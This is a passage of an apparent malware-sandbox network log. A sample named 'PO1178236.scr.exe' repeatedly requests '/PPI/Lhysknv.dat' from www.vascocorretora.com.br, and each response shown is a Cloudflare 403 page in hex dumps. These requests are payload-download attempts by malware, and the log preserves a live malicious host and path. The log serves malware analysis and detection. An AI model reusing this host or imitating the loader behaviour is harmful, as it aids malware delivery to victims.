6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7a51ffb7d0c</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:38 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 61 35 31 66 66 62 37 64 30 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7a51ffb7d0c',t:'MTczNjQwNzc3OC4wMDAwMDA='};v
2025-01-09 07:29:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50015	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:38 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:38 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HMBC1tGRwgAjgOL6j56QtvjqLciZAdgmooRQnuRd0fiki76fu10jNGVpbYlew2%2FK5yvMu593%2ByAfQSZR1Qc3QbgccaHShyIcknu4Jb6yjpgD%2Bv0w1m3JW9cmA0bmVP3hl5GRo%2BKaRHvJJdD%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7a8bdf00f41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1503&rtt_var=569&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1914754&cwnd=145&unsent_bytes=0&cid=bf55227851326502&ts=125&x=0"
2025-01-09 07:29:38 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:38 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:38 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:38 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 61 38 62 64 66 30 30 66 34 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7a8bdf00f41</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:38 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 61 38 62 64 66 30 30 66 34 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7a8bdf00f41',t:'MTczNjQwNzc3OC4wMDAwMDA='};v
2025-01-09 07:29:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50021	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:39 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:39 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Na77Vdfprz9aKwiO1Z2kZhR4%2B39o8XOwTMaLCKrwxrglaZnB4QcOlnlUwzRgEsKQH0dy4Gi4tdtHLwdpbFindcv1RT7wsSfjhuuLwhy126BeagF6MiPk8aOw29s7DI%2FHrnBTyVYCtKhyINf3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7ac9bcb8cad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2005&rtt_var=778&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1382575&cwnd=246&unsent_bytes=0&cid=95c360b9c96914a1&ts=151&x=0"
2025-01-09 07:29:39 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:39 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:39 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:39 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 61 63 39 62 63 62 38 63 61 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7ac9bcb8cad</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:39 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 61 63 39 62 63 62 38 63 61 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7ac9bcb8cad',t:'MTczNjQwNzc3OS4wMDAwMDA='};var a=d
2025-01-09 07:29:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50026	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:39 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:39 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IVCZ5lsf9quPC3yjxa3hsNIRO6rHlWdNet%2FHybsqiNC9gBFB5UMs%2FLlWWfuuK7IAhNTopMmLLL02GRutVYJenquYvdau9uwWGnWw3AoemdmjQ3BQAveNWf0iFud%2FtUdqmwtMrMvSD3FyhhKM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7b0ac440fa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1470&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1907250&cwnd=252&unsent_bytes=0&cid=d98d0796e4fbb395&ts=136&x=0"
2025-01-09 07:29:39 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:39 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:39 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:39 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 62 30 61 63 34 34 30 66 61 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7b0ac440fa9</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:39 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 62 30 61 63 34 34 30 66 61 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7b0ac440fa9',t:'MTczNjQwNzc3OS4wMDAwMDA='};var a
2025-01-09 07:29:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50031	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:40 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
